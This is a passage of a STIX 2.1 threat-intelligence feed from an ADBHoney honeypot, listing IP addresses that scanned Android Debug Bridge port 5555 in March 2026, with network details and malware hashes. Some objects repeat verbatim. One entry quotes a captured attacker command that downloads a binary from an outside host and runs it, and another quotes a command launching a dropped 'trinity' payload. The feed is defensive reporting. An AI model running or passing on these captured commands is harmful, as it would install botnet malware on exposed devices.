      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode,Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=53 | first_seen=2026-03-05T16:53:25.000Z | last_seen=2026-03-14T19:15:02.200Z | ports=5555 | cc=DE | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--60da2ccf-5ef2-4d2c-bf88-a40d19ac1fad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.99.141.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T17:00:04.000Z",
      "valid_until": "2026-04-06T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 53,
          "first_seen": "2026-03-05T16:53:25.000Z",
          "last_seen": "2026-03-14T19:15:02.200Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-05T17:18:51.000Z | last_seen=2026-03-05T17:28:59.599Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--ca45eeab-ae3d-4014-b5ff-ce5b2f648771",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:00:02.000Z",
      "valid_until": "2026-04-06T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-05T17:18:51.000Z",
          "last_seen": "2026-03-05T17:28:59.599Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-05T17:17:19.000Z | last_seen=2026-03-05T17:18:21.615Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e59228c0-b29b-47cd-b605-891a6d6e18d8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:00:02.000Z",
      "valid_until": "2026-04-06T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-05T17:17:19.000Z",
          "last_seen": "2026-03-05T17:18:21.615Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=UA; asn=211736; asn_org=FOP Dmytro Nedilskyi; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-05T17:51:52.000Z | last_seen=2026-03-05T17:52:57.872Z | ports=5555 | cc=UA | asn=211736 | org=FOP Dmytro Nedilskyi",
      "id": "indicator--2a7e6953-10cb-489d-b6fb-0d09fbfed377",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '92.63.197.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:00:02.000Z",
      "valid_until": "2026-04-06T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-05T17:51:52.000Z",
          "last_seen": "2026-03-05T17:52:57.872Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "UA"
          ],
          "asn": [
            "211736"
          ],
          "org": [
            "FOP Dmytro Nedilskyi"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=UA; asn=211736; asn_org=FOP Dmytro Nedilskyi; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-05T17:01:06.000Z | last_seen=2026-03-05T17:02:09.202Z | ports=5555 | cc=UA | asn=211736 | org=FOP Dmytro Nedilskyi",
      "id": "indicator--4385a455-a401-4d77-9ea0-a32e8ac83c12",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '92.63.197.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:00:02.000Z",
      "valid_until": "2026-04-06T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-05T17:01:06.000Z",
          "last_seen": "2026-03-05T17:02:09.202Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "UA"
          ],
          "asn": [
            "211736"
          ],
          "org": [
            "FOP Dmytro Nedilskyi"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-05T17:18:51.000Z | last_seen=2026-03-05T17:28:59.599Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--ca45eeab-ae3d-4014-b5ff-ce5b2f648771",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:00:02.000Z",
      "valid_until": "2026-04-06T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-05T17:18:51.000Z",
          "last_seen": "2026-03-05T17:28:59.599Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-05T17:17:19.000Z | last_seen=2026-03-05T17:18:21.615Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e59228c0-b29b-47cd-b605-891a6d6e18d8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:00:02.000Z",
      "valid_until": "2026-04-06T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-05T17:17:19.000Z",
          "last_seen": "2026-03-05T17:18:21.615Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=UA; asn=211736; asn_org=FOP Dmytro Nedilskyi; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-05T17:51:52.000Z | last_seen=2026-03-05T17:52:57.872Z | ports=5555 | cc=UA | asn=211736 | org=FOP Dmytro Nedilskyi",
      "id": "indicator--2a7e6953-10cb-489d-b6fb-0d09fbfed377",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '92.63.197.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:00:02.000Z",
      "valid_until": "2026-04-06T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-05T17:51:52.000Z",
          "last_seen": "2026-03-05T17:52:57.872Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "UA"
          ],
          "asn": [
            "211736"
          ],
          "org": [
            "FOP Dmytro Nedilskyi"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=UA; asn=211736; asn_org=FOP Dmytro Nedilskyi; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-05T17:01:06.000Z | last_seen=2026-03-05T17:02:09.202Z | ports=5555 | cc=UA | asn=211736 | org=FOP Dmytro Nedilskyi",
      "id": "indicator--4385a455-a401-4d77-9ea0-a32e8ac83c12",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '92.63.197.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:00:02.000Z",
      "valid_until": "2026-04-06T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-05T17:01:06.000Z",
          "last_seen": "2026-03-05T17:02:09.202Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "UA"
          ],
          "asn": [
            "211736"
          ],
          "org": [
            "FOP Dmytro Nedilskyi"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=134543; asn_org=China Unicom Guangdong IP network; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-05T18:11:13.000Z | last_seen=2026-03-05T18:12:23.370Z | ports=5555 | cc=CN | asn=134543 | org=China Unicom Guangdong IP network",
      "id": "indicator--d5457d6f-5385-4416-8d95-608588706a5b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '112.90.220.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T19:00:02.000Z",
      "valid_until": "2026-04-06T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-05T18:11:13.000Z",
          "last_seen": "2026-03-05T18:12:23.370Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "134543"
          ],
          "org": [
            "China Unicom Guangdong IP network"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=134543; asn_org=China Unicom Guangdong IP network; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-05T18:11:13.000Z | last_seen=2026-03-05T18:12:23.370Z | ports=5555 | cc=CN | asn=134543 | org=China Unicom Guangdong IP network",
      "id": "indicator--d5457d6f-5385-4416-8d95-608588706a5b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '112.90.220.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T19:00:02.000Z",
      "valid_until": "2026-04-06T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-05T18:11:13.000Z",
          "last_seen": "2026-03-05T18:12:23.370Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "134543"
          ],
          "org": [
            "China Unicom Guangdong IP network"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=DE; asn=58087; asn_org=Florian Kolb; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"cd /data/local/tmp && curl -O http://45.13.238.231/release/arm7 && chmod +x arm7 && ./arm7\"\n\nObserved in ADBHoney telemetry for 2026-03. events=18 | first_seen=2026-03-05T19:11:21.000Z | last_seen=2026-03-05T19:22:07.775Z | ports=5555 | cc=DE | asn=58087 | org=Florian Kolb",
      "id": "indicator--ebbed773-6c53-4c94-8015-47b015f1dcef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.13.238.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T20:00:02.000Z",
      "valid_until": "2026-04-06T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 18,
          "first_seen": "2026-03-05T19:11:21.000Z",
          "last_seen": "2026-03-05T19:22:07.775Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "58087"
          ],
          "org": [
            "Florian Kolb"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T20:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/bd7e4b9beae675f0a54cc53506a01192c34ea846c9762857e6281853da8e343d.raw; last_seen=2026-03-05T19:11:23.728Z",
      "id": "indicator--97ec4cc0-a47f-42da-b216-5e53e15d3077",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'bd7e4b9beae675f0a54cc53506a01192c34ea846c9762857e6281853da8e343d']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T20:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T21:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-05T20:46:20.000Z | last_seen=2026-03-05T20:56:23.221Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--aab783ee-ba73-4566-9e3e-7a4a197f3536",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '13.58.114.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T21:00:11.000Z",
      "valid_until": "2026-04-06T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-05T20:46:20.000Z",
          "last_seen": "2026-03-05T20:56:23.221Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T21:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=56; ports=5555; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=62 | first_seen=2026-03-05T20:54:58.000Z | last_seen=2026-03-05T21:07:42.072Z | ports=5555 | cc=CN | asn=9808 | org=China Mobile Communications Group Co., Ltd. | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--d76041f9-e0b7-4cbc-be50-0f2adf94d3db",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '183.232.212.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T21:00:11.000Z",
      "valid_until": "2026-04-06T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 62,
          "first_seen": "2026-03-05T20:54:58.000Z",
          "last_seen": "2026-03-05T21:07:42.072Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "9808"
          ],
          "org": [
            "China Mobile Communications Group Co., Ltd."
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T21:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=RU; asn=216473; asn_org=Bashinskii Vadim Ruslanovich; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-05T20:26:46.000Z | last_seen=2026-03-19T19:31:58.567Z | ports=5555 | cc=RU | asn=216473 | org=Bashinskii Vadim Ruslanovich",
      "id": "indicator--f10cbed5-d0ed-4ada-90a3-e8d99d3c5404",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '80.66.83.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T21:00:11.000Z",
      "valid_until": "2026-04-06T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-05T20:26:46.000Z",
          "last_seen": "2026-03-19T19:31:58.567Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "216473"
          ],
          "org": [
            "Bashinskii Vadim Ruslanovich"
          ]
        }
      },
